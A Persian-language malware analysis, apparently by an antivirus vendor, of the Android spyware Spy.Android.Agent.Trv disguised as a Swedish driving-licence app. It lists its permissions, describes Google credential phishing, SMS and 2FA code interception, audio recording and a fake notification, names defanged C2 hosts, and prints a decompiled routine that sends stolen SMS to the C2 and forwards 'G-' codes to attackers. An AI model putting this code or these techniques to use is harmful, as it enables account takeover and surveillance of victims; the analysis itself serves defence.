Spy.Android.Agent.Trv

شرح کلی

نوع: جاسوس افزار (spyware)
اسامی بدافزار:
Spy.Android.Agent.Trv
درجه تخریب: متوسط
میزان شیوع: متوسط

جاسوس افزار (spyware) چیست؟

با نصب يک spyware بر روي گوشی، هميشه اطلاعات کاربر از نظر امنيتي در معرض تهديد قرار دارند و در هر لحظه ممکن است به سرقت رفته و به افراد غيرمجاز تحويل شوندمعمولا جاسوس‌افزارها به صورت پنهان و به دور از ديد کاربر بر روي گوشی نصب مي‌شوند و به‌صورت کاملا مخفيانه فعاليت‌هاي خود را انجام مي‌دهند. اين‌گونه بدافزارها اطلاعات مورد نياز در خصوص فعاليت‌هاي کاربر بر روي گوشی و يا هرگونه اطلاعات مورد نياز را جمع‌آوري و در زمان مناسب براي شخص ديگري ارسال مي‌کنندجاسوس‌افزارها معمولا با فريب دادن کاربران در اينترنت، در قالب یک برنامه کاربردی و مفید بر روي گوشی آنها نصب مي‌شوند. معمولا اطلاعات مربوط به فعاليت‌هاي کاربر بر روي گوشی شامل رمز‌های عبور، اطلاعات کارت‌هاي اعتباري و ساير اطلاعات امنيتي از قبيل کليدهاي فشرده شده توسط صفحه کلید و لیست تماس‌های کاربر، لیست دفترچه تلفن، پیام‌های متنی ارسالی و دریافتی و … را جمع آوري مي‌کنند.

خانواده بدافزاری Agent چیست؟

این برنامه با نام “trafikverket” و در ظاهر برای کمک و راهنمایی به فارسی زبانان کشور سوئد در زمینه اخذ گواهینامه منتشر شده است. ولی در حقیقت، علاوه بر جاسوسی اطلاعات از گوشی کاربر، دستورات ارسالی از سرور فرماندهی و کنترل بدافزار را نیز در گوشی اجرا می‌کند.
کارهای مخربی که بدافزار در گوشی کاربر انجام می‌دهد شامل:

  • دزدی اطلاعات از پیام‌های متنی ارسال شده به گوشی کاربر(sms)
  • ارسال پیام‌های متنی (SMS) احراز هویت دو عاملی به شماره تلفنی که توسط سرورفرماندهی و کنترل مهاجم مشخص شده است.
  • واکشی اطلاعات شخصی کاربران، مانند جزئیات لیست مخاطبین و حساب‌های کاربریشان
  • ضبط صدای محیط اطراف گوشی کاربر
  • فیشینگ حساب کاربری Google
  • جمع‌آوری اطلاعات دستگاه مانند برنامه‌های نصب شده و processهای در حال اجرا

توضیحات فنی

در فعالیت اصلی برنامه، هدف ابتدایی بدافزار دریافت دسترسی‌هایی با مجوزهای بالا برای برنامه است. به این شکل که شرط اجرای برنامه این است که مجوزها توسط کاربر به برنامه داده شود. لیست دسترسی‌ها به شرح زیر هستند:

"android.permission.RECEIVE_SMS"

"android.permission.READ_SMS"

"android.permission.GET_ACCOUNTS"

"android.permission.READ_CONTACTS"

"android.permission.READ_EXTERNAL_STORAGE"

"android.permission.WRITE_EXTERNAL_STORAGE"

"android.permission.ACCESS_COARSE_LOCATION"

"android.permission.RECORD_AUDIO"

"android.permission.RECEIVE_BOOT_COMPLETED"

"android.permission.SEND_SMS"

"android.permission.READ_PHONE_STATE"

"android.permission.WRITE_CONTACTS"

فعالیت “GmailActivity” :

  • دزدی اعتبارنامه Google

با دریافت دستورالعمل مناسب از سرورفرماندهی و کنترل، صفحه ورود به سیستم Google به آدرس “”https://accounts.google.com”” برای قربانی نمایش داده می‌شود. صفحه جعلی نمایش داده شده به کاربر، در قالب یک webview بوده و به شکلی است که کاربر آن را تحت عنوان بخشی از برنامه کاربردی (اپلیکیشن)، می‌داند.
همچنین، برای دزدی اطلاعات از حساب گوگل کاربر، یعنی مشخصه‌های حساب کاربری (Email) و رمز عبور (password)، با استفاده از کد جاوا اسکریپت لود شده در webview مربوطه، به این اطلاعات دست پیدا می‌کند. فرمان حمع‌آوری اطلاعات به صورت یک کد javascript درwebview لود می‌شود و اطلاعات جمع‌آوری شده در قالب دو پارامتر “identifierId” و “password” و در قالب یک فایل رمز شده با محتویات (IpAddress ،UserAgent ،Email ،Password) به سمت سرور فرماندهی و کنترل بدافزار ارسال می‌شود. برای این منظور، رشته‌ای در برنامه تنظیم شده که به صورت جداگانه این کار را به صورت دوره‌ای و منظم انجام دهد و هربار در صورتی که حساب کاربری جدیدی وارد شود، همچنان اطلاعات آن در دسترس مهاجم قرار گیرد.

 

 

 

MainService :

سرویس برنامه به نام “MainService” با هدف جاسوسی اطلاعات کاربر راه‌اندازی می‌شود. همچنین، کلیه اطلاعات به دست آمده را در دایرکتوری جاری برنامه یعنی مسیر data/data/ %packagename% /files ذخیره می‌کند. برای تمامی فاکتورهای زیر، به صورت جداگانه فایلی به نام‌های مشخص ایجاد می‌کند و اطلاعات رمزگذاری شده را در آنها قرار می‌دهد و در نهایت برای سرور فرماندهی و کنترل خود ارسال می‌کند.

  • جمع‌آوری اطلاعات شبکه کاربر:

ذخیره اطلاعات در فایل (“net_884D15AAC6D7535D4E1D482B3ACBBF23”):

در ابتدا، بررسی می‌شود در صورتی که سرویس برنامه برای بار اول راه اندازی شده باشد و نسخه SDK>=21 باشد:
با استفاده از یک JosScheduler وضعیت شبکه را در برنامه خود به صورت منظم در بازه‌های زمانی مشخص بررسی می‌کند. در صورتی که اتصال شبکه برقرار باشد و دریافت اطلاعات جمع‌آوری شده از کاربر در حال انجام باشد، در این صورت چک می‌شود که ارسال اطلاعات به صورت دوره‌ای و منظم به سرور فرماندهی و کنترل انجام شود.

  • جمع‌آوری آدرس حساب‌های کاربری:

ذخیره اطلاعات در فایل (“acs_9B1AE0C398143E09C2D1BED6CB72A7DA”):

در صوتی که کاربر مجوز دسترسی “android.permission.GET_ACCOUNTS” را به برنامه داده باشد، لیست تمام حساب‌های کاربری کاربر را، به تفکیک type آنها جمع‌آوری می‌کند.

  • جمع‌آوری اطلاعات کاملی از لیست مخاطبین (Contacts List) :

ذخیره اطلاعات در فایل (“cts_6BF139745DB70CEFCA22689DEA99833F”):

در صورتی که مجوز “android.permission.READ_CONTACTS” توسط کاربر به برنامه داده شود، تمامی اطلاعات ذخیره شده به ازای هر مخاطب، که در گوشی ذخیره شده باشد را جمع‌آوری می‌کند (این اطلاعات می‌تواندID ،displayname ،address ،email ،phonenumber ،country و …). همچنین، اطلاعات مخاطبان جدیدی که به لیست اضافه می‌شوند را جمع آوری می‌کند.

  • جمع‌آوری اطلاعات Cookieهای مرورگر گوشی و در نهایت پاک کردن تمام آنها پس از ارسال به سرور فرماندهی و کنترل.
  • جمع‌آوری اطلاعات مربوط به موقعیت مکانی و جغرافیایی کاربر.

ذخیره اطلاعات در فایل (“lct_E6592820F87FF17CB19F519954598FA4”)

  • جمع آوری لیست تمام برنامه‌های نصب شده برروی گوشی کاربر.

ذخیره اطلاعات در فایل (“pks_3C3691368AD4CA44CC0A42E9933A7C7D”)

  • قرار دادن پکیج برنامه، در لیست برنامه‌های (whitelist) که استفاده بهینه از منبع باتری گوشی دارند.
  • ضبط صدای محیط اطراف گوشی کاربر (Voice Recording):

اینکه بدافزار چه زمانی شروع به ضبط صدا کند، با دستور “startRecord” و زمان توقف ضبط صدا نیز با دستور”stopRecord” از سمت سرور فرماندهی و کنترل به گوشی کاربر ارسال می‌شود ولی ضبط ۳۰ ثانیه‌ای به طور پیش فرض انجام می‌شود. با استفاده از روش “setAudioSource” با ورودی “1”، منبع صوتی (Audio source) که در اینجا میکروفون است را برای ضبط صدا تنظیم می‌کند و با استفاده از روش (setOutputFormat) نوع فایل خروجی تولید شده هنگام ضبط را مشخص می‌کند. در نهایت فایل ضبط شده با ذکر کامل تاریخ (سال، ماه و روز) و زمان (ساعت، دقیقه و ثانیه) ثبت می‌شود.

نکته:

همان طور که قبلاً اشاره کردیم، یکی از اصلی‌ترین ویژگی‌های آن روشن کردن میکروفون و ضبط صدای محیط است. برای دستیابی به این هدف به صورت (Real-time)، برنامه باید سرویس خود را در پس‌زمینه به طور مداوم اجرا کند تا عملیات به درستی انجام شود. هر برنامه اندویدی که بخواهد چنین عملی را انجام دهد، لازم است یک اعلان (notification) مداوم را به کاربر نمایش دهد، تا کاربر مطلع باشد که سرویس برنامه همواره در حال اجراست. به منظور دور زدن این مسئله، توسعه‌دهندگان بدافزار، به کاربر اعلان جعلی “Google protection is enabled” را نمایش می‌دهند.

  • نمایش اعلان “Google protection is enabled”:

در اندروید نسخه ۸ به بعد قابلیت جدیدی برای تعریف اعلان در برنامه ایجاد شده و به این شکل است که می‌توانید در برنامه خودتان یک یا چند کانال اعلان تعریف کنید و در زمان ارسال اعلان پیشرفته با وارد کردن Channel-Id آن کانال، اعلان را برای آن کانال خاص ارسال کنید.

 

 

  • جمع آوری اطلاعات پیام‌های متنی کاربر (sms):

ذخیره اطلاعات در پوشه (sms) با فایل‌های داخلی [sms/inbox , sms/draft , sms/sent]

با گرفتن مجوزهای دسترسی “android.permission.READ_SMS” ،”android.permission.RECEIVE_SMS” و “android.permission.SEND_SMS” از کاربر، مهاجم به راحتی می‌تواند بر تمام اطلاعات پیام‌های متنی دریافتی (sms) احاطه کامل داشته و اطلاعات آنها را از گوشی کاربر جمع‌آوری کند. همچنین، مجوز ارسال پیام به شماره مورد نظر خود با محتویات پیام مشخص را نیز دارد که بدون اطلاع کاربر صورت می‌گیرد.

FILE_PHONE_NUM = "pn_A484B2077EA6AB8DFC49ABB22FEA428D";
FILE_SMS_ALL = "sa_25BFD87A8F33B4AA829AF6DF46F3AA86";
FILE_SMS_DRAFT = "sd_FF9D40D42260B5F8BAE820E3380AF38D";
FILE_SMS_INBOX = "si_0CA776DE9CE258518DB01347513E28EF";
FILE_SMS_SENT = "ss_56FFECBCE56B1ACC07D8CE63060AADE8";

  • کپی کردن فایل:

بعد از اجرای دستور (“Runtime.getRuntime().exec(“su، در صورتی که مقدار بازگشتی به گونه‌ای باشد که نشان دهد گوشی روت شده است، برای کپی کردن فایل از مسیر حافظه داخلی گوشی (internal/storage) به حافظه خارجی (sdcard) استفاده می‌شود.

APIService:

یکی دیگر از اقداماتی که به طور مرتب در سرویس (APIService) برنامه انجام می‌شود، برقراری منظم ارتباط با سرورهای فرماندهی و کنترل با استفاده از پروتکل HTTP است.
۱) برای راه‌اندازی ارتباط با سرور فرماندهی و کنترل:
درخواست‌های اولیه را به سرور “hxxp[:]//alarabiye[.]net” ارسال می‌کند. بدافزار در ابتدا برای راه‌اندازی ارتباط، اطلاعات گوشی کاربر مانند osversion ،sdkversion و packagename  را در ادامه آدرس مربوطه قرار داده و ارسال می‌کند و منتظر پاسخ از سمت سرور می‌ماند.

۲) به منظور دریافت فایل‌های پیکربندی گوشی کاربر، اجرای دستورات ارسالی از سمت سرور و به‌روزرسانی‌های لازم، بدافزار به سرور “hxxp[:]//gradleservice[.]info” وصل می‌شود.

یک دایرکتوری در گوشی ایجاد می‌کند و فایل‌های ارسالی از سمت سرور را در آن نگه داری می‌کند که همگی به صورت کد شده هستند و همان دستورات اجرایی در گوشی کاربر هستند. دستوراتی همچون (getPho ،sendInsMsg ،sendMeil,sendNet ،updateSystem). همچنین، به منظور بارگذاری تمام فایل‌های مربوط به اطلاعات حساس کاربر (جاسوسی شده از گوشی کاربر)، بدافزار از پروتکل FTPS استفاده می‌کند که کلیه فایل‌ها قبل از بارگذاری شدن با الگوریتم AES رمز شده‌اند. همان طور که می‌دانیم، اتصال به FTPS توسط ID کاربر، رمز عبور و گواهی کلید عمومی که شبیه به HTTPS عمل می‌کند، انجام می‌شود. در کد برنامه، ID کاربر و گواهی کلید عمومی به صورت hard-coded قرار داده شده است.

InstantSmsTask:

  • Forward کردن یا ارسال تمام پیام‌های متنی به شماره‌های مورد نظر مهاجم، با محتویاتی که با الگوریتم‌های رمز نگاری، رمز شده‌اند:

۱) تمام پیامک‌هایی که محتویات آنها با حرف “G-” شروع می‌شود. در واقع همان Google two-factor authentication codes یا به عبارت واضح‌تر، رمز عبور دو مرحله‌ای گوگل برای بالا بردن امنیت حساب‌های کاربری.

میدانیم که: با تأیید کد صحت دو مرحله‌ای (که به عنوان کد احراز هویت دو عاملی شناخته می‌شود)، در صورت سرقت رمز ورود، یک لایه امنیتی اضافی به حساب کاربران اضافه می‌شود.

۲) همچنین، تمام پیام‌های متنی دریافت شده از برنامه‌های شبکه‌های اجتماعی مانند “Telegram” ،”Whatsapp” ،”Facebook” ،”FACEBOOK” و  “IMO Team” نیز به طور خودکار به شماره تلفن مهاجمان ارسال می‌شود.

protected Void doInBackground(Void... paramVarArgs)

{

Intrinsics.checkParameterIsNotNull(paramVarArgs, "params");

paramVarArgs = new StringBuilder();

paramVarArgs.append("Sender: ");

paramVarArgs.append(this.sender);

paramVarArgs.append("\nBody: ");

paramVarArgs.append(this.body);

paramVarArgs.append("\nTime: ");

paramVarArgs.append(this.time);

paramVarArgs.append("\n*************************\n");

paramVarArgs = paramVarArgs.toString();

paramVarArgs = Sec.Companion.encString(paramVarArgs);

Context localContext = this.context;

String str = this.dirName;

if (str == null) {

Intrinsics.throwNpe();

}

new ApiService(localContext, str).sendInsMsg(paramVarArgs);

Log.i("This is: ", this.sender);

if ((Intrinsics.areEqual(this.sender, "Telegram")) || (Intrinsics.areEqual(this.sender, "Whatsapp")) || (Intrinsics.areEqual(this.sender, "Facebook")) || (Intrinsics.areEqual(this.sender, "FACEBOOK")) || (Intrinsics.areEqual(this.sender, "IMO Team")) || (StringsKt.contains$default((CharSequence)this.body, (CharSequence)"G-", false, 2, null)))

{

Log.i("This is: ", "Done!");

sendSms();

}

return null;

}

روش مقابله و پاک‌سازی سیستم

برای اطمینان خاطر از عدم آلودگی دستگاه، فایل پایگاه داده آنتی ویروس پادویش را نصب و به‌روز نگه دارید و اسکن آنتی ویروس را انجام دهید.

روش های پیشگیری از آلوده شدن گوشی:

۱. از دانلود و نصب برنامه از منابع و مارکت‌های موبایلی نامعتبر خودداری کنید.

۲. هنگام نصب برنامه‌های موبایلی، به مجوزهای درخواستی دقت کنید.

۳. از فایل‌ها و اطلاعات ذخیره شده در گوشی، پشتیبان‌گیری مداوم انجام دهید.

۴. از نسخه‌های غیررسمی برنامه‌ها استفاده نکنید. برنامه‌هایی مانند تلگرام و اینستاگرام نسخه‌های غیررسمی زیادی دارند و بیشتر آنها از طریق کانال‌های تلگرامی انتشار می‌یابند.

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>